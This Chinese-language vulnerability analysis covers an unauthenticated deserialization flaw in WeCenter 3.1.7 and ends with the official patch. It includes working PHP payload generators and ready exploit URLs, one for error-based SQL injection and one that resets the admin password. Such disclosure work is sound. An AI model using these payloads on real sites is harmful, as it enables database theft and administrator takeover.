漏洞概况

WeCenter 是一个类似知乎以问答为基础的完全开源的社交网络建站程序,基于 PHP+MYSQL 应用架构,它集合了问答,digg,wiki 等多个程序的优点,帮助用户轻松搭建专业的知识库和在线问答社区。

在wecenter 3.1.7版本中存在一个反序列化漏洞,该漏洞无需登录,利用简单,可以导致任意SQL语句执行,其漏洞的触发点在app/m/weixin.php中。

环境搭建

  • wecenter 3.1.7
  • php 5.6 (php7以上不支持)
  • Ubuntu18.04 + Mysql 5.7 + Apache2

漏洞分析

漏洞点:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function authorization_action()
{
$this->model('account')->logout();
unset(AWS_APP::session()->WXConnect);
if (get_setting('weixin_account_role') != 'service')
{
H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));
}
else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')
{
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}

这个漏洞需要先注册一个微信公众号,为了本地测试方便起见,我把相关代码get_setting('weixin_account_role') != 'service'全部换成get_setting('weixin_account_role') == 'service'

1

修改后关键代码就变成了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
public function authorization_action()
{
$this->model('account')->logout();
unset(AWS_APP::session()->WXConnect);
if (get_setting('weixin_account_role') == 'service')
{
H::redirect_msg(AWS_APP::lang()->_t('此功能只适用于通过微信认证的服务号'));
}
else if ($_GET['code'] OR $_GET['state'] == 'OAUTH')
{
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}

$access_token = unserialize(base64_decode($_GET['access_token']));这条语句将$_GET['access_token']解码后进行反序列化,但是并没有对$_GET['access_token']进行过滤,导致用户对该参数可控

PoC构造

我们先来看一个数据库操作类AWS_MODEL,我们知道对于反序列化漏洞我们要找魔术方法,这个类中就有一个可以利用的__destruct()魔术方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* WeCenter 数据库操作类
*
* @package WeCenter
* @subpackage System
* @category Libraries
* @author WeCenter Dev Team
*/
class AWS_MODEL
{
...
/**
* Model 类析构, 执行延迟查询
*/
public function __destruct()
{
$this->master();

foreach ($this->_shutdown_query AS $key => $query)
{
$this->query($query);
}
}
}

_destruct()函数中直接遍历了_shutdown_query对象,并且将值传入了query直接执行。所以只要构造一个AWS_MODEL类对象,在它被销毁的时候就能够执行任意的sql语句了。

我们重新看一下authorization_action()函数

3

因为我们想要反序列化后的对象执行__destruct()析构函数,就必须让这个执行过程停止,在authorization_action()函数的135行刚好存在报错语句,条件是$access_token['errcode']的值为true,所以我们可以构造一个数组,数组的第一个元素是error => true,第二个元素就是AWS_MODEL类对象,在AWS_MODEL类对象的构造函数__construct()中对$_shutdown_query赋值为我们的sql查询语句,就可以在它调用__destruct()时执行$this->query($query);语句了。

跟进query()函数,发现有show_error,所以我们可以用报错注入来得到数据库数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
public function query($sql, $limit = null, $offset = null, $where = null)
{
$this->slave();
if (!$sql)
{
throw new Exception('Query was empty.');
}
if ($where)
{
$sql .= ' WHERE ' . $where;
}
if ($limit)
{
$sql .= ' LIMIT ' . $limit;
}
if ($offset)
{
$sql .= ' OFFSET ' . $offset;
}
if (AWS_APP::config()->get('system')->debug)
{
$start_time = microtime(TRUE);
}
try {
$result = $this->db()->query($sql);
} catch (Exception $e) {
show_error("Database error\n------\n\nSQL: {$sql}\n\nError Message: " . $e->getMessage(), $e->getMessage());
}
if (AWS_APP::config()->get('system')->debug)
{
AWS_APP::debug_log('database', (microtime(TRUE) - $start_time), $sql);
}
return $result;
}

PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class AWS_MODEL {
private $_shutdown_query;
function __construct()
{
$this->_shutdown_query = [
"SELECT updatexml(1,concat(0xa,user()),1)"
];
}
}
$arr = [
'errcode' => 1,
new AWS_MODEL()
];
echo urlencode(base64_encode(serialize($arr)));

得到PoC:

1
http://192.168.247.132/wecenter/?/m/weixin/authorization/?code=1&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjQwOiJTRUxFQ1QgdXBkYXRleG1sKDEsY29uY2F0KDB4YSx1c2VyKCkpLDEpIjt9fX0%3D

7

然后进一步可以爆出表名,字段名,接下来我们就可以修改管理员的密码。

这里还需要注意的就是wecenter的密码都是加密过的,所以我们先找到wecenter中的加密方法,用相同的方法生成新的密码,加密方法在system/functions.inc.php中:

1
2
3
4
5
6
7
8
9
10
11
12
13
/**
* 根据 salt 混淆密码
*
* @param string
* @param string
* @return string
*/
function compile_password($password, $salt)
{
$password = md5(md5($password) . $salt);

return $password;
}

将原先的密码改成123456,salt选用aaaa

1
2
3
4
5
6
7
8
<?php
function compile_password($password, $salt)
{
$password = md5(md5($password) . $salt);
echo $password;
}
compile_password('123456', 'aaaa');
?>

我们可以得到密码efeec90d2556454dc30d818fe50393a4,然后就可以用update语句来更新管理员密码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
class AWS_MODEL {
private $_shutdown_query;
function __construct()
{
$this->_shutdown_query = [
"update `aws_users` set password='efeec90d2556454dc30d818fe50393a4',salt='aaaa' where uid=1;"
];
}
}
$arr = [
'errcode' => 1,
new AWS_MODEL()
];
echo urlencode(base64_encode(serialize($arr)));

生成PoC:

1
http://192.168.247.133/wecenter317/?/m/weixin/authorization/?code=1&state=OAUTH&access_token=YToyOntzOjc6ImVycmNvZGUiO2k6MTtpOjA7Tzo5OiJBV1NfTU9ERUwiOjE6e3M6MjY6IgBBV1NfTU9ERUwAX3NodXRkb3duX3F1ZXJ5IjthOjE6e2k6MDtzOjkxOiJ1cGRhdGUgYGF3c191c2Vyc2Agc2V0IHBhc3N3b3JkPSdlZmVlYzkwZDI1NTY0NTRkYzMwZDgxOGZlNTAzOTNhNCcsc2FsdD0nYWFhYScgd2hlcmUgdWlkPTE7Ijt9fX0%3D

访问这个url即可触发漏洞。

先把admin密码随便修改一下

4

然后访问PoC这个url:

执行后admin密码就被重置了。

6

官方补丁

在wecenter 3.1.9 版本中,官方做出的修补是用json_decode()函数来替换unserialize()函数

将下面的几行代码

1
2
3
4
if ($_GET['state'] == 'OAUTH')
{
$access_token = unserialize(base64_decode($_GET['access_token']));
}

替换为:

1
2
3
4
if ($_GET['state'] == 'OAUTH')
{
$access_token = json_decode(base64_decode($_GET['access_token']), true);
}

patch

json_decode()函数中第二个参数为true,所以会返回一个array()而不是object

json_decode